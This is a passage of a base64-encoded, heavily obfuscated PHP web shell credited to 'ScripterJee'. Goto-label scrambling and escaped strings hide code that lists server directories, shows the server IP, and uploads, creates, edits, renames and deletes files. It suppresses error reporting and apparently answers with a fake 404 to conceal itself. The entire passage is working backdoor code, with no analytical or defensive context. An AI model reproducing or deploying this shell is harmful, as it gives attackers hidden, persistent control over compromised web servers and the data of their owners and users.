jRceDY0XHgzZVwxMlw3NFx4NzRcMTQ0XDQwXHg3M1wxNjRcMTcxXHg2Y1wxNDVceDNkXDQyXHg2M1x4NmZceDZjXHg2ZlwxNjJcNzJceDIwXDE0MlwxNTRceDYxXHg2M1wxNTNcNzNcNDJcNzZcNzRceDczXHg3MFx4NjFceDZlXHgzZVx4MmRcNTVcNTVceDJkXHgyZFx4MmRcNzRcNTdcMTYzXDE2MFwxNDFcMTU2XDc2XDc0XDU3XHg3NFx4NjRcNzZceGFcNzRceDc0XDE0NFx4M2VceDNjXDE0Nlx4NmZceDZlXHg3NFx4MjBcMTQzXDE1N1x4NmNceDZmXHg3Mlx4M2RceDIyIiAuICgkYzhbOF0oInskSmR9XDU3eyR5Zn0iKSA/ICJceDIzXDYwXHgzMFwxNDZceDY2XDYwXHgzMCIgOiAoISRjOFs5XSgieyRKZH1ceDJmeyR5Zn0iKSA/ICJcMTYyXHg2NVwxNDQiIDogbnVsbCkpIC4gIlw0Mlw3NiIgLiBSTigieyRKZH1cNTd7JHlmfSIpIC4gIlx4M2NcNTdceDY2XHg2ZlwxNTZceDc0XDc2XHgzY1w1N1wxNjRcMTQ0XDc2XHhhXHgzY1x4NzRcMTQ0XDQwXHg3M1wxNjRcMTcxXDE1NFwxNDVceDNkXHgyMlwxNDNceDZmXHg2Y1wxNTdcMTYyXDcyXDQwXDE0Mlx4NmNcMTQxXHg2M1wxNTNcNzNcNDJcNzZcNzRcMTYzXDE2MFx4NjFceDZlXDc2XHgyZFw1NVw1NVw1NVx4MmRceDJkXHgzY1x4MmZceDczXDE2MFx4NjFceDZlXDc2XHgzY1w1N1wxNjRceDY0XDc2XHhhXDc0XDE2NFwxNDRcNzZceGFcNzRceDYxXHgyMFwxNTBcMTYyXDE0NVx4NjZcNzVcNDJcNzdceDcwXDc1IiAuIHNzKCRKZCkgLiAiXHgyNlwxNDFceDNkIiAuIHNzKCJceDcyXDE0NVwxNTZceDYxXHg2ZFx4NjUiKSAuICJceDI2XHg2ZVx4M2QiIC4gc3MoJHlmKSAuICJcNDZceDc0XDc1XHg2NFx4MjJceDIwXHg2NFwxNDFcMTY0XDE0MVw1NVx4NzRceDZmXHg2N1x4NjdceDZjXDE0NVx4M2RcNDJcMTY0XHg2ZlwxNTdcMTU0XDE2NFx4NjlcMTYwXHgyMlx4MjBceDY0XDE0MVwxNjRceDYxXDU1XDE2MFwxNTRceDYxXDE0M1wxNDVcMTU1XHg2NVwxNTZceDc0XDc1XHgyMlx4NjFceDc1XHg3NFwxNTdceDIyXHgyMFwxNjRceDY5XDE2NFwxNTRceDY1XDc1XHgyMlx4NTJcMTQ1XHg2ZVx4NjFcMTU1XHg2NVx4MjJcNzZcMTIyXDE0NVx4NmVcMTQxXDE1NVwxNDVceDNjXHgyZlx4NjFceDNlXDEyXDc0XHgyZlx4NzRceDY0XDc2XDEyXDc0XHg3NFx4NjRcNzZceGFceDNjXDE0MVw0MFwxNTBceDcyXDE0NVwxNDZceDNkXDQyXDc3XDE2MFx4M2QiIC4gc1MoJEpkKSAuICJceDI2XDE0MVw3NSIgLiBzcygiXDE0NFwxNDVceDZjXDE0NVwxNjRcMTQ1IikgLiAiXHgyNlwxNTZceDNkIiAuIHNzKCR5ZikgLiAiXHgyMlx4MjBcMTQzXDE1NFwxNDFceDczXDE2M1w3NVx4MjJcMTQ0XDE0NVx4NmNceDY1XDE2NFx4NjVceDIyXDQwXHg2NFx4NjFceDc0XDE0MVx4MmRcMTY0XHg3OVx4NzBcMTQ1XDc1XDQyXHg2NlwxNTdceDZjXDE0NFx4NjVceDcyXDQyXDQwXDE0NFx4NjFceDc0XDE0MVw1NVwxNjRcMTU3XDE0N1x4NjdcMTU0XHg2NVx4M2RcNDJceDc0XDE1N1x4NmZceDZjXDE2NFx4NjlceDcwXDQyXDQwXHg2NFx4NjFcMTY0XDE0MVw1NVx4NzBceDZjXDE0MVwxNDNceDY1XDE1NVwxNDVceDZlXHg3NFx4M2RcNDJceDYxXHg3NVwxNjRcMTU3XDQyXHgyMFwxNjRcMTUxXDE2NFwxNTRceDY1XHgzZFw0MlwxMDRcMTQ1XDE1NFwxNDVcMTY0XDE0NVw0Mlx4M2VceDQ0XHg2NVx4NmNceDY1XDE2NFx4NjVceDNjXDU3XDE0MVw3Nlx4YVx4M2NceDJmXHg3NFwxNDRcNzZcMTJceDNjXHgyZlwxNjRceDcyXDc2IjsgUWo6IH0gZ290byBXdV9kUjsgb18yNHU6IFhlKCJcMTQ2XHg2OVx4NmNcMTQ1XDQwXDE0NlwxNDFceDY5XHg2Y1wxNDVceDY0XDQwXHg3NFx4NmZceDIwXHg3NVwxNjBcMTU0XDE1N1wxNDFcMTQ0IiwgMCk7IGdvdG8gSnIwNjY7IEcwaXlnOiBlODogZ290byBDYUNLUjsgUkJiWEQ6IGdvdG8gTWs7IGdvdG8gZ1g3XzE7IEx2TzNCOiA/Pgo8aDUgY2xhc3M9ImJvcmRlciBwLTEiPkVkaXQgRmlsZSBOYW1lIDogPD9waHAgIGdvdG8gc2g3cWU7IHU0N2k1OiBpZiAoJGM4WzExXSgkX0ZJTEVTWyJceDY2Il1bIlx4NzRcMTU1XDE2MFwxMzdceDZlXDE0MVwxNTVceDY1Il1bJGxFXSwgJFd4WyRsRV0pKSB7IGdvdG8gUEc7IH0gZ290byBvXzI0dTsgeElLUXc6IEZBOiBnb3RvIEFsa3E0OyBWMGFjdTogWEUoIlx4NjZcMTUxXDE1NFx4NjVceDIwXHg3NVx4NzBcMTU0XHg2ZlwxNDFcMTQ0XDE0NVx4NjRcNDBceDczXHg3NVwxNDNcMTQzXDE0NVx4NzNceDczXHg2Nlx4NzVceDZjXHg2Y1x4NzkiKTsgZ290byBUOXBjZzsgQWJTc1I6IGlmICghJGM4WzEyXSgkQkwpKSB7IGdvdG8gdUg7IH0gZ290byBwVFhLejsgbElFQnM6IFBiOiBnb3RvIG9faTFVOyBuQmlxZTogaWYgKCFpc3NldCgkX0dFVFsiXDE0MSJdKSkgeyBnb3RvIGNjOyB9IGdvdG8gcE1pdUs7IFNkNmJBOiBnb3RvIFdDOyBnb3RvIFRyVzFNOyBFeVEycjogZWNobyBnZXRob3N0YnluYW1lKCRfU0VSVkVSWyJcMTIzXHg0NVwxMjJcMTI2XHg0NVx4NTJcMTM3XDEyM1x4NGZceDQ2XHg1NFx4NTdcMTAxXHg1MlwxMDUiXSk7IGdvdG8gb3Voc1M7IHlEeThTOiBpZiAoJGltID09ICJceDcyXDE0NVx4NmVceDYxXHg2ZFwxNDUiKSB7IGdvdG8gTHc7IH0gZ290byBnRGdSczsgQWxrcTQ6ID8+CiAKPC9mb3JtPjwvbGk+CjwvZGl2Pgo8ZGl2IHN0eWxlPSJib3JkZXI6IDJweCBzb2xpZCAjZmYxNDkzO2JvcmRlci1yYWRpdXM6IDAuNzVyZW07cGFkZGluZzogMC4yNXJlbTttYXJnaW4tdG9wOiAwLjIwcmVtO21hcmdpbi1ib3R0b206IDAuMjVyZW07Zm9udC1mYW1pbHk6ICdLZWxseSBTbGFiJzsiPgo8bGkgc3R5bGU9ImZvbnQtc2l6ZTogMS4xMHJlbTttYXJnaW4tbGVmdDogMC4yMHJlbTtsaXN0LXN0eWxlOiBpbmhlcml0O3BhZGRpbmc6IDAuMTVyZW07Ij5EaXIgOiAKPD9waHAgIGdvdG8gZTVrQkg7IGU1a0JIOiAkT3AgPSAkYzhbNF0oIlw1N1x4MjhcMTM0XHg1Y1wxNzRcMTM0XHgyZlw1MVx4MmYiLCAkSmQpOyBnb3RvIG4wQ1REOyBzSW8zWjogaWYgKCRpbSA9PSAiXHg2ZVx4NjVcMTY3XDEwNlwxNTFceDZjXHg2NSIpIHsgZ290byBQYjsgfSBnb3RvIHlEeThTOyB2bFVDNDogPz4KIAo8L3Rib2R5Pgo8L3RhYmxlPgo8aDUgc3R5bGU9ImNvbG9yOiAjMzFlZDA2OyI+Cjxmb250PiZjb3B5OyBDb3B5cmlnaHQgMjAyNDwvZm9udD4KPGZvbnQgc3R5bGU9ImNvbG9yOiBkZWVwcGluazsiPlNjcmlwdGVySmVlPC9mb250Pgo8L2g1Pgo8P3BocCAgZ290byBzcXZoQzsgbEV6dVk6ICRHMyA9ICJcMTYzXDE0M1wxNDFcMTU2XHg2NFx4NjlcMTYyIjsgZ290byBZM092UDsgckxoWjM6ID8+CjxoNSBjbGFzcz0iYm9yZGVyIHAtMSI+TmV3IEZvbGRlciBOYW1lIDo8L2g1Pgo8Zm9ybSBtZXRob2Q9InBvc3QiPgo8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIj4KPGlucHV0IG5hbWU9Im4iIGlkPSJuIiBjbGFzcz0iYm9yZGVyIiBhdXRvY29tcGxldGU9Im9mZiI+CjwvZGl2Pgo8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIj4KPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIG5hbWU9InMiIGNsYXNzPSJvaGN0Ij5DcmVhdGU8L2J1dHRvbj4KPC9kaXY+IAo8L2Zvcm0+IAo8P3BocCAgZ290byBIbnptRzsgZlJVazU6IGh0dHBfcmVzcG9uc2VfY29kZSg0MDQpOyBnb3RvIEFUTUFWOyBVMVAyeTogPz4KPGg1IGNsYXNzPSJib3JkZXIgcC0xIj5SZW5hbWUgRmlsZSA6IDw/cGhwICBnb3RvIEFjRjExOyBxVXJINjogZ290byBXQzsgZ290byBsSUVCczsgVm5JVHc6ID8+Cjwvc3Bhbj48L2xpPgo8bGk+U2VydmVyIElQIDogPHNwYW4gc3R5bGU9ImNvbG9yOiB3aGl0ZTsiPjw/cGhwICBnb3RvIG9DYXVJOyB4M3pEajogaWYgKCEoJF9HRVRbIlx4NzQiXSA9PSAiXHg2NiIpKSB7IGdvdG8geEI7IH0gZ290byBsMk9HbzsgblZEWkU6ID8+CjwvdGV4dGFyZWE+CjwvZGl2Pgo8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIj4KPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIG5hbWU9InMiIGNsYXNzPSJvaGN0Ij5TYXZlPC9idXR0b24+CjwvZGl2Pgo8L2Zvcm0+Cjw/cGhwICBnb3RvIEQyaFkzOyB1bEI5dTogPz4KPGg1IGNsYXNzPSJib3JkZXIgcC0xIj5WaWV3IEZpbGUgTmFtZSA6IDw/cGhwICBnb3RvIFYzcXYzOyB6YVdlUTogPz4KPC9zcGFuPjwvbGk+CjxsaT5BZGQgRmlsZSA6IDxhIGhyZWY9Ij9wPTw/cGhwICBnb3RvIHh3SWtEOyBGVl9mbjogZnVuY3Rpb24gU3MoJFNQKSB7ICRkRSA9ICcnOyAkbEUgPSAwOyBOWjogaWYgKCEoJGxFIDwgc3RybGVuKCRTUCkpKSB7IGdvdG8gWGM7IH0gJGRFIC49IGRlY2hleChvcmQoJFNQWyRsRV0pKTsgV0s6ICRsRSsrOyBnb3RvIE5aOyBYYzogcmV0dXJuICRkRTsgfSBnb3RvIEg4NnV0OyBEMmhZMzogaXNzZXQoJF9QT1NUWyJceDczIl0pID8gJGM4WzEzXSgkSmQgLiAiXDU3IiAuIGpEKCRfR0VUWyJcMTU2Il0pLCAkX1BPU1RbIlwxNDNceDc0XHg2ZSJdKSA/IHhFKCJcMTQ2XHg2OVwxNTRcMTQ1XDQwXDE0M1x4NmZceDZlXHg3NFx4NjVcMTU2XHg3NFx4NzNcNDBcMTQzXDE1MFwxNDFcMTU2XDE0N1x4NjVceDY0XDQwXHg3M1wxNjVceDYzXDE0M1x4NjVceDczXHg3M1x4NjZceDc1XDE1NFwxNTRceDc5IiwgMSwgIlx4MjZceDYxXHgzZCIgLiBzUygiXHg3Nlx4NjlcMTQ1XDE2NyIpIC4gIlw0NlwxNTZceDNkeyRfR0VUWyJceDZlIl19IikgOiB4RSgiXDE0NlwxNTFcMTU0XDE0NVw0MFwxNDNcMTU3XDE1Nlx4NzRceDY1XDE1Nlx4NzRceDczXDQwXDE0NlwxNDFceDY5XDE1NFx4NjVcMTQ0XDQwXDE2NFwxNTdcNDBcMTQzXHg2OFx4NjFcMTU2XHg2N1wxNDUiKSA6IG51bGw7IGdvdG8gQTRheDc7IHMyOXdNOiBGZzogZ290byByTGhaMzsga04zTmM6ICRjOFskbEVdID0gSkQoJGM4WyRsRV0pOyBnb3RvIElLUVhNOyBLdElLaDogZ290byBpTDsgZ290byBHMGl5ZzsgT3dQQjM6ID8+Cjwvc3Bhbj48L2xpPgo8bGk+UEhQIFZlcnNpb24gOiA8c3BhbiBzdHlsZT0iY29sb3I6IHdoaXRlOyI+PD9waHAgIGdvdG8gWGZ6a1g7IFJZemh5OiBpc3NldCgkX1BPU1RbIlwxNjMiXSkgPyAkYzhbMTZdKCRKZCAuICJceDJmIiAuIGpEKCRfR0VUWyJcMTU2Il0pLCAkX1BPU1RbIlx4NmUiXSkgPyBYRSgiXDE2M1wxNjVceDYzXDE0M1wxNDVcMTYzXDE2M1wxNDZceDc1XDE1NFwxNTRceDc5XHgyMFwxNDNceDY4XHg2MVx4NmVceDY3XDE0NVwxNDRcNDBcMTY0XDE1MFx4NjVcNDBcMTQ2XDE1N1wxNTRcMTQ0XHg2NVwxNjJcNDBcMTU2XHg2MVx4NmRceDY1IikgOiBYZSgiXHg2Nlx4NjFcMTUxXDE1NFwxNDVcMTQ0XDQwXDE2NFx4NmZceDIwXHg2M1wxNTBcMTQxXHg2ZVwxNDdceDY1XHgyMFx4NzRceDY4XHg2NVw0MFx4NjZceDZmXDE1NFwxNDRcMTQ1XDE2Mlw0MFx4NmVcMTQxXDE1NVwxNDUiLCAwKSA6IG51bGw7IGdvdG8gU2Q2YkE7IHh3SWtEOiBlY2hvIHNzKCRKZCkgLiAiXDQ2XDE0MVx4M2QiIC4gU3MoIlx4NmVceDY1XDE2N1wxMDZceDY5XDE1NFx4NjUiKTsgZ290byBWVlB4MDsgc3F2aEM6IG1SOiBnb3RvIEFNb0dwOyBYZnprWDogZWNobyAkYzhbMV0oKTsgZ290byB6YVdlUTsgb19pMVU6ID8+CjxoNSBjbGFzcz0iYm9yZGVyIHAtMSI+TmV3IEZpbGUgTmFtZSA6PC9oNT4KPGZvcm0gbWV0aG9kPSJwb3N0Ij4KPGRpdiBjbGFzcz0iZm9ybS1ncm91cCI+CjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJuIiBpZD0ibiIgY2xhc3M9ImJvcmRlciIgcGxhY2Vob2xkZXI9ImhhY2sudHh0Ij4KPC9kaXY+CjxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAiPgo8dGV4dGFyZWEgc3R5bGU9InJlc2l6ZTpub25lIiBuYW1lPSJjdG4iIGlkPSJjdG4iIGNvbHM9IjMwIiByb3dzPSIxMCIgY2xhc3M9ImZvcm0tY29udHJvbCBib3JkZXIiIHBsYWNlaG9sZGVyPSIiPjwvdGV4dGFyZWE+CjwvZGl2Pgo8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIj4KPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIG5hbWU9InMiIGNsYXNzPSJvaGN0Ij5DcmVhdGU8L2J1dHRvbj4gCjwvZGl2Pgo8L2Zvcm0+Cjw/cGhwICBnb3RvIExQdzhLOyBuUFYzUDogZzk6IGdvdG8gVF9ObEw7IGlhNzl5OiAkYzhbM10oSmQoJF9HRVRbIlx4NzAiXSkpOyBnb3RvIHlYRjJqOyBsMk9HbzogJEJMID0gJEpkIC4gIlw1NyIgLiBqZCgkX0dFVFsiXHg2ZSJdKTsgZ290byB3SlNubDsgUVZJSDI6IGlmICgkaW0gPT0gIlwxNjZceDY5XDE0NVwxNjciKSB7IGdvdG8gQWc7IH0gZ290byB2Q3pYeTsgYXN2b2U6IFVuOiBnb3RvIE1KakljOyBxRm85dTogPz4KPC9oNT4KPGRpdiBjbGFzcz0iZm9ybS1ncm91cCI+Cjx0ZXh0YXJlYSBuYW1lPSJjdG4iIGlkPSJjdG4iIGNvbHM9IjMwIiByb3dzPSIxMCIgY2xhc3M9ImZvcm0tY29udHJvbCBib3JkZXIiIHJlYWRvbmx5Pjw/cGhwICBnb3RvIG0wMUxkOyBtMDFMZDogZWNobyAkYzhbMThdKCRjOFsxNF0oJEpkIC4gIlw1NyIgLiBqZCgkX0dFVFsiXHg2ZSJdKSkpOyBnb3RvIGdKaFFpOyBnRGdSczogaWYgKCRpbSA9PSAiXHg2NVwxNDRceDY5XHg3NCIpIHsgZ290byBPeDsgfSBnb3RvIFFWSUgyOyBvNmRmbzogPz4KPC9oNT4KPGZvcm0gbWV0aG9kPSJwb3N0Ij4KPGRpdiBjbGFzcz0iZm9ybS1ncm91cCI+Cjx0ZXh0YXJlYSBuYW1lPSJjdG4iIGlkPSJjdG4iIGNvbHM9IjMwIiByb3dzPSIxMCIgY2xhc3M9ImZvcm0tY29udHJvbCBib3JkZXIiPjw/cGhwICBnb3RvIFJGd2ZpOyBBVE1BVjogZGVmaW5lKCJceDU5XDE2MCIsICcnKTsgZ290byBsRXp1WTsgRG9tdUo6IGVycm9yX3JlcG9ydGluZygwKTsgZ290byBmUlVrNTsgcEhJckk6IHhCOiBnb3RvIFhQdGN6OyBkOEU3WDogYTI6IGdvdG8gdmxVQzQ7IHg2SHFuOiBmdW5jdGlvbiBybigkRjEpIHsgJEpkID0gZmlsZXBlcm1zKCRGMSk7IGlmICgoJEpkICYgNDkxNTIpID09IDQ5MTUyKSB7IGdvdG8gRlo7IH0gaWYgKCgkSmQgJiA0MDk2MCkgPT0gNDA5NjApIHsgZ290byBFdTsgfSBpZiAoKCRKZCAmIDMyNzY4KSA9PSAzMjc2OCkgeyBnb3RvIEVTOyB9IGlmICgoJEpkICYgMjQ1NzYpID09IDI0NTc2KSB7IGdvdG8gc0E7IH0gaWYgKCgkSmQgJiAxNjM4NCkgPT0gMTYzODQpIHsgZ290byBsRzsgfSBpZiAoKCRKZCAmIDgxOTIpID09IDgxOTIpIHsgZ290byB0VjsgfSBpZiAoKCRKZCAmIDQwOTYpID09IDQwOTYpIHsgZ290byBUeDsgfSAkbEUgPSAiXHg3NSI7IGdvdG8gY0M7IEZaOiAkbEUgPSAiXDE2MyI7IGdvdG8gY0M7IEV1OiAkbEUgPSAiXDE1NCI7IGdvdG8gY0M7IEVTOiAkbEUgPSAiXHgyZCI7IGdvdG8gY0M7IHNBOiAkbEUgPSAiXDE0MiI7IGdvdG8gY0M7IGxHOiAkbEUgPSAiXHg2NCI7IGdvdG8gY0M7IHRWOiAkbEUgPSAiXHg2MyI7IGdvdG8gY0M7IFR4OiAkbEUgPSAiXHg3MCI7IGNDOiAkbEUgLj0gJEpkICYgMjU2ID8gIlwxNjIiIDogIlx4MmQiOyAkbEUgLj0gJEpkICYgMTI4ID8gIlwxNjciIDogIlx4MmQiOyAkbEUgLj0gJEpkICYgNjQgPyAkSmQgJiAyMDQ4ID8gIlx4NzMiIDogIlwxNzAiIDogKCRKZCAmIDIwNDggPyAiXDEyMyIgOiAiXDU1Iik7ICRsRSAuPSAkSmQgJiAzMiA/ICJceDcyIiA6ICJceDJkIjsgJGxFIC49ICRKZCAmIDE2ID8gIlwxNjciIDogIlx4MmQiOyAkbEUgLj0gJEpkICYgOCA/ICRKZCAmIDEwMjQgPyAiXDE2MyIgOiAiXHg3OCIgOiAoJEpkICYgMTAyNCA/ICJcMTIzIiA6ICJcNTUiKTsgJGxFIC49ICRKZCAmIDQgPyAiXHg3MiIgOiAiXHgyZCI7ICRsRSAuPSAkSmQgJiAyID8gIlwxNjciIDogIlx4MmQiOyAkbEUgLj0gJEpkICYgMSA/ICRKZCAmIDUxMiA/ICJcMTY0IiA6ICJcMTcwIiA6ICgkSmQgJiA1MTIgPyAiXDEyNCIgOiAiXDU1Iik7IHJldHVybiAkbEU7IH0gZ290byBlQnNzNzsgbjBDVEQ6IGZvcmVhY2ggKCRPcCBhcyAkajMgPT4gJE9lKSB7IGlmICghKCRqMyA9PSAwICYmICRPZSA9PSAnJykpIHsgZ290byB4aTsgfSBlY2hvICJcNzRceDYxXHgyMFx4NjhceDcyXDE0NVx4NjZceDNkXDQyXDc3XDE2MFw3NVw2Mlx4NjZceDIyXDQwXDE0M1x4NmNceDYxXDE2M1wxNjNcNzVceDIyXDE0M1wxNTdcMTU1XDE0Mlx4NjVcMTY0XDQyXHgzZVwxNzZceDNjXHgyZlwxNDFceDNlXHgyZiI7IGdvdG8gQ1M7IHhpOiBpZiAoISgkT2UgPT0gJycpKSB7IGdvdG8gc3E7IH0gZ290byBDUzsgc3E6IGVjaG8gIlw3NFwxNDFceDIwXHg2M1x4NmNceDYxXDE2M1wxNjNcNzVceDIyXHg2M1x4NmZcMTU1XHg2MlwxNDVcMTY0XDQyXHgyMFx4NjhceDcyXDE0NVwxNDZcNzVceDIyXHgzZlwxNjBceDNkIjsgJGxFID0gMDsgZGU6IGlmICghKCRsRSA8PSAkajMpKSB7IGdvdG8gaWU7IH0gZWNobyBzUygkT3BbJGxFXSk7IGlmICghKCRsRSAhPSAkajMpKSB7IGdvdG8gczA7IH0gZWNobyAiXDYyXHg2NiI7IHMwOiBkZzogJGxFKys7IGdvdG8gZGU7IGllOiBlY2hvICJceDIyXHgzZXskT2V9XDc0XDU3XDE0MVw3Nlw1NyI7IENTOiB9IGdvdG8gTU5zRTI7IFdfTHhqOiB0aDogZ290byBEaHdadjsgV25fRXk6IFdDOiBnb3RvIE9KdWc2OyBibVl0VjogeGUoIlx4NjZcMTUxXDE1NFx4NjVceDIwXHg2NFwxNDVceDZjXDE0NVx4NzRcMTQ1XHg2NFw0MFwxNjNceDc1XDE0M1wxNDNcMTQ1XHg3M1wxNjNcMTQ2XHg3NVx4NmNceDZjXDE3MSIpOyBnb3RvIG8wOEJGOyBBRXpHbjogaWYgKCFpc3NldCgkX0dFVFsiXDE0NFwxNTdcMTY3XDE1Nlx4NmNceDZmXDE0MVx4NjQiXSkpIHsgZ290byBGQTsgfSBnb3RvIFpDTTRJOyB5Ym5oRDogJEczID0gJGM4WzVdKCRHMygkSmQpLCBhcnJheSgiXDU2IiwgIlx4MmVcNTYiKSk7IGdvdG8gbmpyS0s7IGUwd09WOiBnb3RvIFZOOyBnb3RvIHFMUkdoOyBaQ000STogaGVhZGVyKCJcMTAzXHg2ZlwxNTZcMTY0XDE0NVwxNTZcMTY0XHgyZFx4NTRceDc5XDE2MFx4NjVcNzJceDIwXHg2MVwxNjBcMTYwXHg2Y1wxNTFcMTQzXDE0MVwxNjRcMTUxXDE1N1wxNTZceDJmXDE1N1x4NjNcMTY0XDE0NVx4NzRcNTVcMTYzXHg3NFwxNjJceDY1XDE0MVx4NmQiKTsgZ290byBJMWRxdjsgTFB3OEs6IGlzc2V0KCRfUE9TVFsiXHg3MyJdKSA/ICRjOFsxMl0oInskSmR9XHgyZnskX1BPU1RbIlx4NmUiXX0iKSA/IHhFKCJcMTQ2XDE1MVx4NmNcMTQ1XDQwXHg2ZVx4NjFcMTU1XDE0NVx4MjBceDY4XHg2MVwxNjNcNDBcMTQyXDE0NVx4NjVceDZlXDQwXHg3NVx4NzNcMTQ1XDE0NCIsIDAsICJcNDZceDYxXDc1IiAuIFNTKCJcMTU2XDE0NVx4NzdceDQ2XHg2OVx4NmNceDY1IikpIDogKCRjOFsxM10oInskSmR9XHgyZnskX1BPU1RbIlwxNTYiXX0iLCAkX1BPU1RbIlwxNDNcMTY0XDE1NiJdKSA/IFhFKCcnLCAxLCAiXDQ2XHg2MVw3NSIgLiBzcygiXHg3NlwxNTFcMTQ1XHg3NyIpIC4gIlx4MjZcMTU2XDc1IiAuIFNzKCRfUE9TVFsiXDE1NiJdKSkgOiBYZSgiXDE0Nlx4NjlcMTU0XDE0NVx4MjBceDY2XDE0MVwxNTFcMTU0XHg2NVx4NjRceDIwXHg3NFx4NmZcNDBcMTQzXDE2Mlx4NjVceDYxXHg3NFx4NjUiLCAwKSkgOiBudWxsOyBnb3RvIFRVXzF2OyBBNGF4NzogZ290byBXQzsgZ290byBjX3lxZjsgeVhGMmo6IFZOOiBnb3RvIEZWX2ZuOyBKdmt4NzogVlo6IGdvdG8geDN6RGo7IFZWUHgwOiA/PgoiIGNsYXNzPSJvaGN0Ij5TdWJtaXQ8L2E+PC9saT4KPGxpPkFkZCBEaXJlY3RvcnkgOiA8YSBocmVmPSI/cD08P3BocCAgZ290byBQNjFSWDsgSHNOZmc6IGlmICghJGM4WzEyXSgkQkwpKSB7IGdvdG8gZTg7IH0gZ290byBRQWR2dzsgRWFPTDA6IGdvdG8gbVI7IGdvdG8gYXN2b2U7IGh5RWlYOiBKZTogZ290byBtd0FCSDsgZkRrTm06ID8+CiI+CjwvZGl2Pgo8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIj4KPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIG5hbWU9InMiIGNsYXNzPSJvaGN0Ij5TYXZlPC9idXR0b24+CjwvZGl2Pgo8L2Zvcm0+Cjw/cGhwICBnb3RvIFJZemh5OyBUclcxTTogT3g6IGdvdG8gTHZPM0I7IE1tQThuOiBmb3JlYWNoICgkRzMgYXMgJEYxKSB7IGlmICgkYzhbN10oInskSmR9XDU3eyRGMX0iKSkgeyBnb3RvIHdBOyB9IGdvdG8gWDE7IHdBOiAka0wgPSAkYzhbMTBdKCJ7JEpkfVw1N3skRjF9IikgLyAxMDI0OyAka0wgPSByb3VuZCgka0wsIDMpOyAka0wgPSAka0wgPiAxMDI0ID8gcm91bmQoJGtMIC8gMTAyNCwgMikgLiAiXDQwXHgyMFx4NGRcMTAyIiA6ICRrTCAuICJcNDBcNDBceDRiXDEwMiI7IGVjaG8gIlx4YVw3NFx4NzRceDcyXDc2XDEyXHgzY1x4NzRceDY0XHgyMFx4NzNceDc0XHg3OVwxNTRcMTQ1XHgzZFx4MjJceDc0XHg2NVwxNzBceDc0XDU1XDE0MVwxNTRceDY5XDE0N1wxNTZcNzJceDIwXDE1NFwxNDVcMTQ2XHg3NFx4M2JcNDJcNzZceGFcNzRceDYxXDQwXHg2OFwxNjJcMTQ1XDE0Nlx4M2RcNDJcNzdcMTYwXDc1IiAuIFNTKCRKZCkgLiAiXDQ2XDE0MVw3NSIgLiBzUygiXHg3Nlx4NjlceDY1XHg3NyIpIC4gIlx4MjZceDZlXDc1IiAuIFNTKCRGMSkgLiAiXDQyXHgyMFx4NjRceDYxXHg3NFx4NjFcNTVceDc0XHg2ZlwxNDdcMTQ3XDE1NFx4NjVceDNkXDQyXDE2NFwxNTdcMTU3XHg2Y1x4NzRceDY5XHg3MFx4MjJcNDBcMTQ0XHg2MVx4NzRcMTQxXHgyZFx4NzBcMTU0XHg2MVwxNDNcMTQ1XHg2ZFx4NjVceDZlXDE2NFx4M2RceDIyXDE0MVx4NzVceDc0XDE1N1w0Mlw0MFx4NzRceDY5XHg3NFwxNTRceDY1XDc1XHgyMlx4NGNcMTQxXDE2NFx4NjVceDczXHg3NFw0MFx4NmRceDZmXHg2NFwxNTFceDY2XHg3OVw0MFwxNTdceDZlXDQwIiAuICRjOFsxOV0oIlwxMzFcNTVcMTU1XHgyZFx4NjRceDIwXDExMFx4M2FcMTUxIiwgJGM4WzIwXSgieyRKZH1cNTd7JEYxfSIpKSAuICJcNDJcNzZcMTJceDNjXHg2OVx4MjBcMTQzXHg2Y1wxNDFceDczXHg3M1w3NVx4MjJcMTQ2XHg2MVw0MFx4NjZcMTQxXDU1XDE0Nlx4NzdceDIwXHg2NlwxNDFceDJkXHg2NlwxNTFceDZjXHg2NVw0Mlx4MjBceDczXHg3NFwxNzFceDZjXDE0NVw3NVw0MlwxNDJceDZmXHg3Mlx4NjRceDY1XDE2Mlw3Mlw0MFw2MFw3M1wxNjBcMTQxXDE0NFx4NjRceDY5XHg2ZVx4NjdcNzJceDIwXHgzMFw3M1wxNjdcMTUxXDE0NFwxNjRcMTUwXHgzYVw0MFw2MVw1Nlx4MzJcNzBceDM1XDY3XDYxXHgzNFx4MzJcNzFcMTQ1XHg2ZFw3M1x4MjJceDNlXDc0XDU3XHg2OVw3Nlx4MjB7JEYxfVwxMlx4M2NceDJmXDE0MVw3NlwxMlw3NFw1N1x4NzRcMTQ0XHgzZVwxMlx4M2NcMTY0XDE0NFw3Nlx4M2NcMTYzXDE2MFwxNDFceDZlXDc2eyRrTH1cNzRceDJmXHg3M1wxNjBceDYxXHg2ZVx4M2VcNzRceDJmXHg3NFx4NjRcNzZceGFcNzRcMTY0XHg2NFx4M2VcNzRceDY2XDE1N1wxNTZceDc0XHgyMFwxNDNceDZmXHg2Y1wxNTdceDcyXHgzZFx4MjIiIC4gKCRjOFs4XSgieyRKZH1cNTd7JEYxfSIpID8gIlx4MjNceDMwXDYwXHg2Nlx4NjZcNjBcNjAiIDogKCEkYzhbOV0oInskSmR9XHgyZnskRjF9IikgPyAiXDE2Mlx4NjVceDY0IiA6IG51bGwpKSAuICJceDIyXHgzZSIgLiByTigieyRKZH1cNTd7JEYxfSIpIC4gIlx4M2NcNTdcMTQ2XDE1N1wxNTZcMTY0XDc2XDc0XDU3XDE2NFwxNDRceDNlXDEyXHgzY1x4NzRcMTQ0XDc2XHgzY1wxNDFcNDBceDY4XDE2MlwxNDVceDY2XDc1XDQyXDc3XHg3MFx4M2QiIC4gU3MoJEpkKSAuICJcNDZcMTQxXDc1IiAuIFNzKCJcMTQ1XDE0NFx4NjlcMTY0IikgLiAiXHgyNlwxNTZcNzUiIC4gU1MoJEYxKSAuICJcNDJceDIwXHg2NFx4NjFceDc0XDE0MVw1NVwxNjRcMTU3XDE0N1wxNDdcMTU0XDE0NVx4M2RceDIyXDE2NFx4NmZceDZmXHg2Y1x4NzRceDY5XHg3MFx4MjJcNDBceDY0XDE0MVwxNjRceDYxXDU1XHg